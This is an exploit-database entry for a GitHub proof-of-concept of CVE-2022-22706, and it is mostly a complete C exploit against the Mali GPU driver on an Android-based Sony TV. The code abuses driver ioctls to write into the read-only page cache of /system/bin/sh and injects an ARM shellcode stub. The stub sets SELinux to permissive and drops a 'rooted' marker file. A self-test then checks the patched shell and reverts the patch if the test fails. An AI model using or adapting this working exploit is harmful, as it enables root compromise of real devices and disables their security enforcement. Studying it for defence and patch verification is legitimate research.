Exploit database

GH-8f44edb6d86b76f1da8fcb31ff55b3d4

bennywaitwhat/sony-xbr-65x850d

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22706

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/pagecache-root/sh_selftest.c

C · 6,882 bytes
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define KT 0x80
struct vc_t { uint16_t major, minor; };
struct sf_t { uint32_t create_flags; };
union ma_t { struct { uint64_t va_pages, commit_pages, extension, flags; } in;
             struct { uint64_t flags, gpu_va; } out; };
struct iub { uint64_t ptr, length; };
union mi_t { struct { uint64_t flags, phandle; uint32_t type, padding; } in;
             struct { uint64_t flags, gpu_va, va_pages; } out; };
struct js_t { uint64_t addr; uint32_t nr_atoms, stride; };
struct atom_v2 { uint64_t jc; uint64_t udata[2]; uint64_t extres_list;
    uint16_t nr_extres; uint16_t compat_core_req; uint8_t pre_dep[4];
    uint8_t atom_number, prio, device_nr, padding; uint32_t core_req; } __attribute__((packed));
struct extres { uint64_t ext_resource; };
struct soft_ev { uint64_t event; uint32_t new_status, padding; };
#define IOC_VC _IOWR(KT,0,struct vc_t)
#define IOC_SF _IOW(KT,1,struct sf_t)
#define IOC_ALLOC _IOWR(KT,5,union ma_t)
#define IOC_SUBMIT _IOW(KT,2,struct js_t)
#define IOC_IMPORT _IOWR(KT,22,union mi_t)
#define IOC_SOFT _IOW(KT,28,struct soft_ev)
#define PAGE 0x1000
static int mali; static uint64_t gEvent; static uint8_t *ev;
static int pc_patch(const char *path, uint64_t off, const uint8_t *bytes, int len) {
    int fd = open(path, O_RDONLY);
    if (fd < 0) { printf("  open %s: %d\n", path, errno); return -1; }
    uint64_t page = off & ~0xFFFULL;
    char *fm = mmap(NULL, PAGE, PROT_READ, MAP_SHARED, fd, (off_t)page);
    close(fd);
    if (fm == MAP_FAILED) { printf("  mmap file: %d\n", errno); return -2; }
    void *anon = mmap(NULL, PAGE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    struct iub d = { (uint64_t)(uintptr_t)anon, PAGE };
    union mi_t imp; memset(&imp, 0, sizeof imp);
    imp.in.phandle = (uint64_t)(uintptr_t)&d; imp.in.type = 3; imp.in.flags = 0x1|0x2|0x4;
    if (ioctl(mali, IOC_IMPORT, &imp)) { printf("  import: %d\n", errno); return -3; }
    munmap(anon, PAGE);
    if (mremap(fm, PAGE, PAGE, MREMAP_MAYMOVE|MREMAP_FIXED, anon) == MAP_FAILED) { printf("  mremap: %d\n", errno); return -4; }
    uint8_t *w = mmap(NULL, PAGE, PROT_READ|PROT_WRITE, MAP_SHARED, mali, (off_t)imp.out.gpu_va);
    if (w == MAP_FAILED) { printf("  alias: %d\n", errno); return -5; }
    *ev = 0;
    struct extres ex = { imp.out.gpu_va };
    struct atom_v2 at; memset(&at, 0, sizeof at);
    at.jc = gEvent; at.extres_list = (uint64_t)(uintptr_t)&ex; at.nr_extres = 1;
    at.atom_number = 1; at.core_req = (1U<<8) | ((1U<<9)|5);
    struct js_t s = { (uint64_t)(uintptr_t)&at, 1, sizeof(at) };
    if (ioctl(mali, IOC_SUBMIT, &s)) { printf("  submit: %d\n", errno); return -6; }
    usleep(150000);
    memcpy(w + (off - page), bytes, len);
    int ok = memcmp(w + (off - page), bytes, len) == 0;
    struct soft_ev upd = { gEvent, 1, 0 };
    ioctl(mali, IOC_SOFT, &upd);
    /* verify via fresh file read */
    fd = open(path, O_RDONLY);
    uint8_t chk[16] = {0};
    if (fd >= 0) { pread(fd, chk, len, (off_t)off); close(fd); }
    printf("  %s @0x%llx : alias_ok=%d file_ok=%d\n", path, (unsigned long long)off, ok,
           memcmp(chk, bytes, len) == 0);
    return ok ? 0 : -7;
}

/* ============ page-cache patcher for /system/bin/sh ============ */

static const uint8_t sh_entry[4]      = { 0x00,0xc9,0x02,0x00 };
static const uint8_t sh_entry_orig[4] = { 0x80,0x26,0x00,0x00 };
static const uint8_t sh_stub[] = { 0xff,0x4f,0x2d,0xe9,0xc9,0x70,0xa0,0xe3,0x00,0x00,0x00,0xef,0x00,0x00,0x50,0xe3,0x1f,0x00,0x00,0x1a,0x90,0x00,0x8f,0xe2,0x01,0x10,0xa0,0xe3,0x02,0x20,0x22,0xe0,0x05,0x70,0xa0,0xe3,0x00,0x00,0x00,0xef,0x00,0x00,0x50,0xe3,0x08,0x00,0x00,0xba,0x00,0x40,0xa0,0xe1,0x04,0x00,0xa0,0xe1,0x84,0x10,0x8f,0xe2,0x01,0x20,0xa0,0xe3,0x04,0x70,0xa0,0xe3,0x00,0x00,0x00,0xef,0x04,0x00,0xa0,0xe1,0x06,0x70,0xa0,0xe3,0x00,0x00,0x00,0xef,0x6a,0x00,0x8f,0xe2,0x41,0x12,0x00,0xe3,0xb6,0x21,0x00,0xe3,0x05,0x70,0xa0,0xe3,0x00,0x00,0x00,0xef,0x00,0x00,0x50,0xe3,0x08,0x00,0x00,0xba,0x00,0x40,0xa0,0xe1,0x04,0x00,0xa0,0xe1,0x5d,0x10,0x8f,0xe2,0x05,0x20,0xa0,0xe3,0x04,0x70,0xa0,0xe3,0x00,0x00,0x00,0xef,0x04,0x00,0xa0,0xe1,0x06,0x70,0xa0,0xe3,0x00,0x00,0x00,0xef,0xff,0x4f,0xbd,0xe8,0x0c,0x00,0x8f,0xe2,0x04,0x10,0x9f,0xe5,0x01,0xc0,0x40,0xe0,0x1c,0xff,0x2f,0xe1,0x2c,0xa3,0x02,0x00,0x2f,0x73,0x79,0x73,0x2f,0x66,0x73,0x2f,0x73,0x65,0x6c,0x69,0x6e,0x75,0x78,0x2f,0x65,0x6e,0x66,0x6f,0x72,0x63,0x65,0x00,0x30,0x00,0x2f,0x64,0x61,0x74,0x61,0x2f,0x6c,0x6f,0x63,0x61,0x6c,0x2f,0x74,0x6d,0x70,0x2f,0x72,0x6f,0x6f,0x74,0x65,0x64,0x00,0x72,0x6f,0x6f,0x74,0x0a,0x00,0x00 };

#include <sys/wait.h>
#include <signal.h>
#include <unistd.h>

static int sh_self_test(void)
{
    pid_t p = fork();
    if (p == 0) {
        execl("/system/bin/sh", "sh", "-c", "exit 0", (char *)0);
        _exit(127);
    }
    if (p < 0)
        return -3;
    for (int i = 0; i < 30; i++) {
        int st = 0;
        pid_t r = waitpid(p, &st, WNOHANG);
        if (r == p) {
            if (WIFEXITED(st) && WEXITSTATUS(st) == 0)
                return 0;
            return -1;
        }
        usleep(100000);
    }
    kill(p, SIGKILL);
    waitpid(p, (int *)0, 0);
    return -2;
}

int main(void) {
    setbuf(stdout, NULL);
    mali = open("/dev/mali0", O_RDWR | O_CLOEXEC);
    if (mali < 0) { printf("open mali: %d\n", errno); return 1; }
    struct vc_t vc = {10,6}; ioctl(mali, IOC_VC, &vc);
    struct sf_t sf = {0}; ioctl(mali, IOC_SF, &sf);
    void *trk = mmap(NULL, PAGE, PROT_READ, MAP_SHARED, mali, (off_t)(3ULL<<12));
    union ma_t a; memset(&a,0,sizeof a);
    a.in.va_pages=1; a.in.commit_pages=1; a.in.flags=0xF;
    if (ioctl(mali, IOC_ALLOC, &a)) { printf("event alloc %d\n", errno); return 1; }
    gEvent = a.out.gpu_va;
    ev = mmap(NULL, PAGE, PROT_READ|PROT_WRITE, MAP_SHARED, mali, (off_t)gEvent);
    printf("[*] primitive ready (event gpu_va=0x%llx)\n", (unsigned long long)gEvent);

    puts("[*] patching /system/bin/sh page cache (2 regions)");
    if (pc_patch("/system/bin/sh", 0x18, sh_entry, 4) != 0) {
        puts("[-] entry patch failed");
        return 1;
    }
    if (pc_patch("/system/bin/sh", 0x2c900, sh_stub, sizeof(sh_stub)) != 0) {
        puts("[-] stub patch failed, reverting entry");
        pc_patch("/system/bin/sh", 0x18, sh_entry_orig, 4);
        return 1;
    }

    puts("[+] patched; self-test: sh -c 'exit 0'");
    int r = sh_self_test();
    if (r != 0) {
        printf("[-] self-test FAILED (code %d) -> reverting entry\n", r);
        if (pc_patch("/system/bin/sh", 0x18, sh_entry_orig, 4) == 0)
            puts("[+] reverted, sh is stock again");
        else
            puts("[!] REVERT FAILED");
        return 2;
    }
    puts("[+] SELF-TEST OK: patched sh runs normally");
    return 0;
}